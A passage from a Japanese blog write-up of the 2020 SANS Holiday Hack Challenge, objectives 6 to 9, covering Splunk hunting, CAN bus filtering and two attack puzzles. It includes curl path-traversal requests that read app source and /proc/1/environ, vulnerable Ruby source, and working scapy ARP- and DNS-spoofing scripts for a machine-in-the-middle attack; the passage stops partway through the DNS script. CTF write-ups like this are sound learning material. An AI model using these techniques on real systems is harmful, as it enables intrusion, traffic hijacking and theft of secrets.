好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

2020 SANS Holiday Hack Challenge writeup [Objective 6~11b]

2020 SANS Holiday Hack Challenge ~ KringleCon 3 ~ の Objective 6~11bのwriteupです。
イベントの紹介や他のchallengeのwriteupはこちらの記事へ。

tech.kusuwada.com

6) Splunk Challenge

Difficulty: 🎄🎄

Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?

サンタになって Splunk端末に触ると Santa's SOC Challenge にアクセスできます。

  1. Your goal is to answer the Challenge Question. You will include the answer to this question in your HHC write-up!
  2. Work your way through the training questions. Each one will help you get closer to the answering the Challenge Question.
  3. Characters in the KringleCon SOC Secure Chat are there to help you. If you see a blinking red dot next to a character, click on them and read the chat history to learn what they have to teach you! And don't forget to scroll up in the chat history!
  4. To search the SOC data, just click the Search link in the navigation bar in the upper left hand corner of the page.
  5. This challenge is best enjoyed on a laptop or desktop computer with screen width of 1600 pixels or more.
  6. WARNING This is a defensive challenge. Do not attack this system, Splunk, Splunk apps, or back-end APIs. Thank you!

f:id:kusuwada:20210111062222p:plain

ルールから推測するに、右上にあるChallenge Questionに回答するとObjectiveクリア。その前に、その下にあるトレーニングで使い方を学んだり情報を左にいるエルフたちから聞くっぽい。

Training 1

How many distinct MITRE ATT&CK techniques did Alice emulate?

とりあえずAliceの会話を見てみます。

Sure thing, Santa. Well I stored every simulation in its own index so you can just use a Splunk search like

```
 | tstats count where index=* by index 
```

for starters!

このクエリをSerchに投げてみたところ、26件結果が。txxx-maintxxx-winのペアがいくつかあったので、このペアを一つとしてカウントすると11個。ペアになっていないwinが3個。最初14で入れたら駄目だったので一つ減らして13にしたら通った。考え方はあっていたのだろうか🤔

ちなみにこのクエリが正解っぽい。

| tstats count where index=* by index 
| search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*" 
| stats dc(technique)

Training 2

What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

さっきの検索結果ででてきたやつの、それっぽいindex名を解答。

t1059.003-main t1059.003-win

Training 3

One technique that Santa had us simulate deals with 'system information discovery'. What is the full name of the registry key that is queried to determine the MachineGuid?

Alliceからのヒント

I'm assuming they watched the Splunk KringleCon talk and picked up on how to search MITRE's site, and that they should check out the atomics for that technique in the Atomic Red Team github repo.

I want them to be comfortable searching in places like Atomic Red Team

で紹介されたgithub repositoryに行ってみると、いろんなAttackの情報が載っている。このRepository内検索でMachineGuidを検索してみると、T1082.yamlにレジストリキーが載っていた。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

Training 4

According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)

index="attack"
| search OSTAP

このクエリで4件レコードが出てきた!

f:id:kusuwada:20210111063251p:plain

これの最初のレコードの時間を入れるとOK。

2020-11-30T17:44:15Z

Training 5

One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

この中ででてきたfrgncaさんのGitHubを捜索。

frgnca / Repositories · GitHub

8つrepositoryがあるけど、ほかから使われていそうなものは少ない。この中のAudioDeviceCmdletsでred teamのrepositoryを検索すると、T1123.ymlがヒットした。

attack_technique: T1123
display_name: Audio Capture
atomic_tests:
- name: using device audio capture commandlet
  auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95
  description: |
    [AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)
  supported_platforms:
  - windows
  executor:
    command: |
      powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
    name: powershell

この中の検索に引っかけられそうなWindowsAudioDevice-Powershell-CmdletProcessIDを検索ワードに指定して検索し、timeでソートした一番最初にでてきたレコードからProcessIDを答えたら通った🙌

index="*-win"
| search WindowsAudioDevice-Powershell-Cmdlet, ProcessID
| sort _time

f:id:kusuwada:20210110062825p:plain

3648

Training 6

Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

最新の一個を取ってくるクエリは

| sort 1 -_time

で良さそう。

red teamのgithub repository の atomic-red-team/atomics/Indexes/Indexes-CSV/windows-index.csv で検索したところ、Registry Run Keyに関わる攻撃はT1547-001のようだ。

index="t1547.001-win"
| search command
| sort 1 -_time

とか

index="t1547.001-win"
| search .bat
| sort -_time

で検索をしてでてきたコマンドを打ち込んでみるけど、なかなかヒットしない。
わからないので、

T1547.001.yaml に出てくるバッチを順に試すことに。

PowerShell Registry RunOnceに出てくる/ARTifacts/Misc/Discovery.batの最後の行、quserを入れたら通った。なんで?🤔

Training 7

According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

Aliceのヒント

I did not know if I should leave this one in here because it uses the old name for Zeek! In the meantime, I wanted them to look at something like

```
index=* sourcetype=bro* 
```

and check out the SSL/TLS certs that are captured in the x509-related sourcetype.

とりあえずAliceが教えてくれた検索クエリをかけてみます。
更に、左のメニューにsourcetypeという項目があり、見てみると10項目。x509-relatedなのはbro:x509:jsonが怪しいので、これで引っ掛けてみます。

index=* sourcetype=bro:x509:json
{ [-]
   certificate.exponent: 65537
   certificate.issuer: CN=win-dc-748.attackrange.local
   certificate.key_alg: rsaEncryption
   certificate.key_length: 2048
   certificate.key_type: rsa
   certificate.not_valid_after: 2021-05-29T01:08:57.000000Z
   certificate.not_valid_before: 2020-11-27T01:08:57.000000Z
   certificate.serial: 55FCEEBB21270D9249E86F4B9DC7AA60
   certificate.sig_alg: sha256WithRSAEncryption
   certificate.subject: CN=win-dc-748.attackrange.local
   certificate.version: 3
   id: Fen0DH2KtOxQwt4BFk
   ts: 2020-11-30T21:03:50.409634Z
}

これのcertificate.serialを答えればOK。

Challenge Question

What is the name of the adversary group that Santa feared would attack KringleCon?

Aliceからヒントがもらえます。

This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:

```
7FXjP1lyfKbyDK/MChyf36h7
```

It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!

Aliceが言及していた RFC 7465 は、RC4に関するRFCでした。ということはRC4が使われているに違いない。問題は、RC4はPassphrase(key)が必要なこと。ぜんぜんわからん。

と思っていたら、using your favorite phrase とAliceがヒントをくれていました。Santaとかelfとか試したけど駄目。そういえばエルフの一人が「サンタがやたらとこう言ってくるんだよね」って言ってた気がする…!と思って会話を読み返してみました。

幸い、サンタに化けてからも言ってくれているエルフが。Bubble Lightingtonさん。

Hey Santa… I’ve noticed that lately, you’ve been telling everyone to “Stay frosty.”

What’s that all about?

これこれ。ということでkeyはStay frosty
Cyberchefで Base64復号 -> RC4復号 で出てきました!

[f:id:kusuwada:20210110062829p:plain]

The Lollipop Guild

7) Solve the Sleigh's CAN-D-BUS Problem

Difficulty: 🎄🎄🎄

Jack Frost is somehow inserting malicious messages onto the sleigh's CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.

サンタの姿で屋上に行って、サンタカー(そり?)を点検します。サンタになる前は触れなかったのが触れるようになってる🎅🏻

[f:id:kusuwada:20210303070452p:plain]

ふぉぉぉ!
なんか右の緑のログがだーっと流れていく。これはCAN-Bus Investigation (terminal)の問題で出たフォーマットっぽいぞ。

このだーっと流れるログをフィルタする機能が真ん中の列。左の列はよくわからん。速度を上げたりlogを止めたり再開したり?

Hintが一つあったので確認。

Try filtering out one CAN-ID at a time and create a table of what each might pertain to. What's up with the brakes and doors?

ほうほう?もしかしてフィルタしたら何かが変わるのかな?
とりあえず流れないように多いlogをフィルタして、Start,Stop をやってみた。

Stop  -> 02A#0000FF
Start -> 02A#00FF00

うん。これっぽい。ブレーキとドアになにかあるようだ。

Lock   -> 19B#000000000000
Unlock -> 19B#00000F000000

同じ19Bだと19B#0000000F2057が出続けている。これをまずフィルタしてみる。

019B Equals  0000000F2057

更に、Brakeを上げると

080#000012
080#FFFFFD
080#FFFFF0

とか

080#FFFFF0
080#00002d
080#FFFFF8

がたくさん出てくる。これは一体何事? Brakeを8にすると

080#FFFFF8
080#000008
080#FFFFF0

を繰り返していたので、080#FFFFF8080#FFFFF0が邪魔っぽい!他にも邪魔者パターンがいたので試行錯誤の結果

080  Less    FFFFFFFFFFFF

これがブレーキのためのいい感じのフィルターっぽい👍 さっきのLockのとこのBrakeの2つのフィルタだけ残すと、Clear!

8) Broken Tag Generator

Difficulty: 🎄🎄🎄🎄

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.

Holly Evergreen君の助言(Hint)

  • We might be able to find the problem if we can get source code!

  • Can you figure out the path to the script? It's probably on error pages!

  • Once you know the path to the file, we need a way to download it!

  • Is there an endpoint that will print arbitrary files?

  • If you're having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!

  • I'm sure there's a vulnerability in the source somewhere... surely Jack wouldn't leave their mark?

  • If you find a way to execute code blindly, I bet you can redirect to a file then download that file!

  • Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!

日本語訳すると

  • ソースコードを入手できれば、問題を発見できるかもしれません
  • スクリプトへのパスはわかりますか?エラーページにあるかもしれませんね!
  • ファイルへのパスがわかったら、ダウンロードする方法を知る必要があります!
  • 任意のファイルをprintするエンドポイントはありますか?
  • コードを見るのに問題がある場合は、Content-Typeに注意してください! ブラウザは(ひどく)助けようとしているかもしれません!
  • きっとソースのどこかに脆弱性があるんだろうな...きっとジャックは痕跡を残さないんだろうな?
  • もしコードをblindlyに実行する方法を見つけたら、ファイルにリダイレクトして、そのファイルをダウンロードすることができるに違いない!
  • 処理はバックグラウンドで行われるので、悪用してから出力を取得する前に少し待つ必要があるかもしれないことを覚えておいてください!

ヒントがすごすぎる。この順番にやっていけえば良さそう。

TagGeneratorはたしか1.5Fの奥にあったので向かってみる。
TagGenerator

f:id:kusuwada:20210111063418p:plain

問題文やエルフからのヒントより、環境変数 GREETZ を発見するのがミッションっぽい。
まずはヒント1つめのソースコードを発見してみます。普通にサイトのソースを表示したら、下の方に

<script src="js/app.js"></script>

というのがあり、https://tag-generator.kringlecastle.com/js/app.jsを開くとソースが見れた。
更に、directory travarsalをやってみようと、urlに適当にhttps://tag-generator.kringlecastle.com/flag.txtなどと入れてみると、こんなエラーが。

Something went wrong!

Error in /app/lib/app.rb: Route not found

app.rb/app/lib/app.rbにいるらしい。 このソースも読む必要はあるのかな?

次。何かエラーページにヒントがあるみたいなので、画像以外を上げてみる。
どこかのterminalで入手したapp.asar を上げてみた。

f:id:kusuwada:20210111063443p:plain

Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201224-1-pljfzz.asar

おお、いい情報が。
他にもアップロードしてみます。

/tmp/RackMultipart20201224-1-pljfzz.asar
/tmp/RackMultipart20201224-1-177veah.txt
/tmp/RackMultipart20201224-1-ekf5ow.txt
/tmp/RackMultipart20201224-1-1q49nx1.txt

拡張子はそのまま、ファイル名はRackMultipart{YYYYMMDD}-1-{random}って感じかな?
RackMultipartってことは、マルチパート形式で送れば行けちゃう?

今度は、browserのコンソールやNetworkを見てみた。file uploadの時のURLと、ヒントにもでてきているContent-Typeは

POST https://tag-generator.kringlecastle.com/upload
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhQ5dOlbfteE395JT

マルチパートだ。
このAPI callのresponseは

Content-Type: application/json
body:
["877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg"]

でこのimageの取得は

https://tag-generator.kringlecastle.com/image?id=877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg

path /image, query id でファイルの取得ができるみたい。

なるほど。では

$ curl https://tag-generator.kringlecastle.com/image?id=../../app/lib/app.rb --output app.rb
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4886  100  4886    0     0   8586      0 --:--:-- --:--:-- --:--:--  8571

お、ソースコード落とせた!

# encoding: ASCII-8BIT

TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'

# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER

require 'rubygems'

require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'

require 'zip'
require 'sinatra/cookies'
require 'cgi'

require 'digest/sha1'

LOGGER = ::SingLogger.instance()

MAX_SIZE = 1024**2*5 # 5mb

# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
  CGI.escapeHTML html
end

def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'
      end

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'
      end

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite
        true
      }

      # Process it
      out_files << process_file(out_file)
    end
  end

  return out_files
end

def handle_image(filename)
  out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
  out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
    else
      LOGGER.debug("File successfully converted: #{ filename }")
    end
  end

  # Return just the filename - we can figure that out later
  return out_filename
end

def process_file(filename)
  out_files = []

  if filename.downcase.end_with?('zip')
    # Append the list returned by handle_zip
    out_files += handle_zip(filename)
  elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
    # Append the name returned by handle_image
    out_files << handle_image(filename)
  else
    raise "Unsupported file type: #{ filename }"
  end

  return out_files
end

def process_files(files)
  return files.map { |f| process_file(f) }.flatten()
end

module TagGenerator
  class Server < Sinatra::Base
    helpers Sinatra::Cookies

    def initialize(*args)
      super(*args)
    end

    configure do
      if(defined?(PARAMS))
        set :port, PARAMS[:port]
        set :bind, PARAMS[:host]
      end

      set :raise_errors, false
      set :show_exceptions, false
    end

    error do
      return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
    end

    not_found do
      return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
    end

    get '/' do
      erb(:index)
    end

    post '/upload' do
      images = []
      images += process_files(params['my_file'].map { |p| p['tempfile'].path })
      images.sort!()
      images.uniq!()

      content_type :json
      images.to_json
    end

    get '/clear' do
      cookies.delete(:images)

      redirect '/'
    end

    get '/image' do
      if !params['id']
        raise 'ID is missing!'
      end

      # Validation is boring! --Jack
      # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
      #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
      # end

      content_type 'image/jpeg'

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }"

      if File.exists?(filename)
        return File.read(filename)
      else
        return 404, "Image not found!"
      end
    end

    get '/share' do
      if !params['id']
        raise 'ID is missing!'
      end

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"

      if File.exists?(filename)
        erb(:share, :locals => { id: params['id'] })
      else
        return 404, "Image not found!"
      end
    end

    post '/save' do
      payload = params
      payload = JSON.parse(request.body.read)

      data_url = payload['dataURL']
      png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])

      out_hash = Digest::SHA1.hexdigest png
      out_filename = "#{ out_hash }.png"
      out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
      
      LOGGER.debug("output: #{out_path}")
      File.open(out_path, 'wb') { |f| f.write(png) }
      { id: out_hash }.to_json
    end
  end
end

ふむふむ、zipも扱えるのか。
これで任意のpathのファイルが落とせるようになった。ヒントからは、更にfileをuploadしてコードを実行させた結果を書き出してDLする、みたいなのが想定解っぽいけど、ファイルでenvironmentをちょくで抜けると楽ちんそう、と思って調べてみる。

How to Set and List Environment Variables in Linux | Linuxize

etc/environmnetとか/etc/profileとかに書くと良いとあったので落としてみたけど、空っぽとかGREETZは入っていない。

他、/proc/$$/environが使えそうだなー。

$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/$$/environ
<h1>Something went wrong!</h1>

<p>Error in /app/lib/app.rb: Route not found</p>

あら、駄目らしい。ではPID指定ではどうだろう?

$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/1/environ --outpu pid1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   399  100   399    0     0    726      0 --:--:-- --:--:-- --:--:--   725

お、なんか落とせたぞ!

$ strings pid1 
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=cbf2810b7573
RUBY_MAJOR=2.7
RUBY_VERSION=2.7.0
RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343
GEM_HOME=/usr/local/bundle
BUNDLE_SILENCE_ROOT_WARNING=1
BUNDLE_APP_CONFIG=/usr/local/bundle
APP_HOME=/app
PORT=4141
HOST=0.0.0.0
GREETZ=JackFrostWasHere
HOME=/home/app

あった!ちょっと想定解じゃなさそうだけど、0と1を試しただけで取れたから、ひとまずヨシ (๑•̀ㅂ•́)و✧

9) ARP Shenanigans

Difficulty: 🎄🎄🎄🎄

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

屋上のARP Shenanigansterminal が触れるようになっています。

f:id:kusuwada:20210111063545p:plain

3窓だ。

Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.

Help the North Pole by getting command line access back to this host.

Read the HELP.md file for information to help you in this endeavor.

Note: The terminal lifetime expires after 30 or more minutes so be sure to copy off any essential work you have done as you go.

HELP.mdを読んだほうが良さそうなので読んでみる。

# How To Resize and Switch Terminal Panes:

You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals.
You can use the key combinations ( Ctrl+B o ) to switch terminal panes. See tmuxcheatsheet.com for more details
# To Add An Additional Terminal Pane:
`/usr/bin/tmux split-window -hb`
# To exit a terminal pane simply type:
`exit`
 # To Launch a webserver to serve-up files/folder in a local directory:

    ```
    cd /my/directory/with/files
    python3 -m http.server 80
    ```

# A Sample ARP pcap can be viewed at: https://www.cloudshark.org/captures/d97c5b81b057
# A Sample DNS pcap can be viewed at:
https://www.cloudshark.org/captures/0320b9b57d35
# If Reading arp.pcap with tcpdump or tshark be sure to disable name
# resolution or it will stall when reading:

    ```
    tshark -nnr arp.pcap
    tcpdump -nnr arp.pcap
    ```

ふむふむ。どうやら窓をいっぱい使う必要があるchallengeのようだ。
何か怪しいpcapファイルがあるからこれを見てみると良さそう。

terminal内の構成情報を見てみる。
debsフォルダには、

$ ls debs/
gedit-common_3.36.1-1_all.deb
golang-github-huandu-xstrings-dev_1.2.1-1_all.deb
nano_4.8-1ubuntu1_amd64.deb
netcat-traditional_1.10-41.1ubuntu1_amd64.deb 
nmap_7.80+dfsg1-2build1_amd64.deb
socat_1.7.3.3-2_amd64.deb
unzip_6.0-25ubuntu1_amd64.deb

パッケージが入ってる。

pcapファイルには、arp.pcapdns.pcapscriptにはarp_resp.pydns_resp.py。pythonスクリプトはscapyでpacketを扱う際の例らしい。
pcapにあるパケットを、言われた通りのコマンドで見てみる。

$ tshark -nnr arp.pcap
    1   0.000000 cc:01:10:dc:00:00 → ff:ff:ff:ff:ff:ff ARP 60 Who has 10.10.10.1? Tell 10.10.10.2
    2   0.031000 cc:00:10:dc:00:00 → cc:01:10:dc:00:00 ARP 60 10.10.10.1 is at cc:00:10:dc:00:00
$ tshark -nnr dns.pcap
    1   0.000000 192.168.170.8 → 192.168.170.20 DNS 74 Standard query 0x75c0 A www.netbsd.org
    2   0.048911 192.168.170.20 → 192.168.170.8 DNS 90 Standard query response 0x75c0 A www.netbsd.org A 204.152.190.12

どこにどんなリクエストを送って返ってきたかの概要がわかる。

$ tcpdump -nnr arp.pcap
reading from file arp.pcap, link-type EN10MB (Ethernet)
17:16:02.806447 ARP, Request who-has 10.10.10.1 tell 10.10.10.2, length 46
17:16:02.837447 ARP, Reply 10.10.10.1 is-at cc:00:10:dc:00:00, length 46
$ tcpdump -nnr dns.pcap
reading from file dns.pcap, link-type EN10MB (Ethernet)
08:49:18.685951 IP 192.168.170.8.32795 > 192.168.170.20.53: 30144+ A? www.netbsd.org. (32)
08:49:18.734862 IP 192.168.170.20.53 > 192.168.170.8.32795: 30144 1/0/0 A 204.152.190.12 (48)

なるほど?さっき(tshark)と得られる情報はあまり変わらないように見える。どっちかでいいのかな?
そもそもこのパケットは何のパケットだろう?とりあえずただのサンプルということにしておく。

ヒントをたくさんもらっていたので、先に見ちゃう。

  • Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.

  • The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts.

  • Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let's return a DNS response resolving the request to our IP.

  • The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file

ヒントの手順にそって並び替えるとと多分こう。1つめのtcpdumpをやってみた。

$ tcpdump -nni eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
22:41:36.666897 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
22:41:37.702943 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
...

このARPリクエストが延々と続いている。10.6.6.53who-hasリクエストを送っているみたい。
ヒントより、このリクエストに対して何か偽りの情報を返してあげるのがファーストステップっぽい。
サンプルスクリプトのscript/arp_resp.pyサンプルのパケットを参考に、何か偽情報を返してあげてみる。
基本的に、自分のMACアドレスを送りつければ良さそう。

サンプルコードのarp_resp.pyを結構変更して、自分のMacアドレスを回答するようにしてみた。

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
print('[Initial] our eth0 mac: ' + macaddr)

def getmac(targetip):
    arppacket= Ether(zdst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
    targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
    return targetmac

def arp_resp(target_ip, target_mac, gateway_ip, gateway_mac):
    ether_resp = Ether(dst=target_mac, type=0x806, src=gateway_mac)
    arp_response = ARP(pdst=target_ip)
    arp_response.op = 2
    arp_response.plen = 4
    arp_response.hwlen = 6
    arp_response.ptype = 2048
    arp_response.hwtype = 1
    arp_response.hwsrc = gateway_mac
    arp_response.psrc = gateway_ip
    arp_response.hwdst = target_mac
    arp_response.pdst = target_ip
    response = ether_resp/arp_response
    sendp(response, iface="eth0")

def handle_arp_packets(packet):
    target_ip = packet.psrc
    target_mac = packet.src
    gateway_ip = packet.pdst
    #gateway_mac = getmac(packet.pdst)
    arp_resp(target_ip, target_mac, gateway_ip, macaddr)

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    print('start to return fake packets.')
    while True:
        sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
    
if __name__ == "__main__":
    main()

  これを1窓で走りっぱなしにさせておいて、他の窓でネットワークの様子を見てみる。

$ tcpdump -nni eth0 not arp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:03:06.937760 IP 10.6.6.35.37439 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.009679 IP 10.6.6.35.59793 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.081679 IP 10.6.6.35.48730 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.149884 IP 10.6.6.35.5313 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.237706 IP 10.6.6.35.54615 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.302016 IP 10.6.6.35.34432 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.381684 IP 10.6.6.35.8560 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.449666 IP 10.6.6.35.21417 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.513557 IP 10.6.6.35.56686 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.577686 IP 10.6.6.35.1702 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.649689 IP 10.6.6.35.54596 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.721653 IP 10.6.6.35.38576 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.782043 IP 10.6.6.35.16880 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.857669 IP 10.6.6.35.37056 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.929726 IP 10.6.6.35.30663 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.001734 IP 10.6.6.35.9310 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.065744 IP 10.6.6.35.6107 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.141744 IP 10.6.6.35.58256 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.201633 IP 10.6.6.35.11426 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.273972 IP 10.6.6.35.42560 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.333620 IP 10.6.6.35.46880 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.401704 IP 10.6.6.35.39487 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.473706 IP 10.6.6.35.24748 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:08.549653 IP 10.6.6.35.41932 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)

これでarp以外のリクエストも来るようになった!

※terminal終了するたびに自分のipアドレスやmacアドレスが微妙に変わるので、logに齟齬がでています。

今度は、サンプルのdns_resp.pyを書き換えて来ているpacketの情報を確認してみます。

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    print('###### packet comes! ########')
    print(packet.summary())
    
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
    main()

実行結果

###### packet comes! ########
Ether / IP / UDP / DNS Qry "b'ftp.osuosl.org.'"

DNS Queryのようだ👍

これに対して、自分のIPアドレスを応答してあげればよいのかな。

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    eth = Ether(src=macaddr, dst=packet.src)
    ip  = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)
    udp = UDP(dport=packet.sport, sport=packet.dport)
    redirect_to = ipaddr
    dns = DNS(
        id=packet[DNS].id, qd=packet[DNS].qd, aa = 1, qr=1, \
        an=DNSRR(rrname=packet[DNS].qd.qname,  ttl=10, rdata=redirect_to) 
    )
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
    return
    
def main():
    while 1:
        berkeley_packet_filter = " and ".join( [
            "udp dst port 53",                              # dns
            "udp[10] & 0x80 = 0",                           # dns request
            "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
            "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
        ] )
        # sniff the eth0 int without storing packets in memory and stopping after one dns request
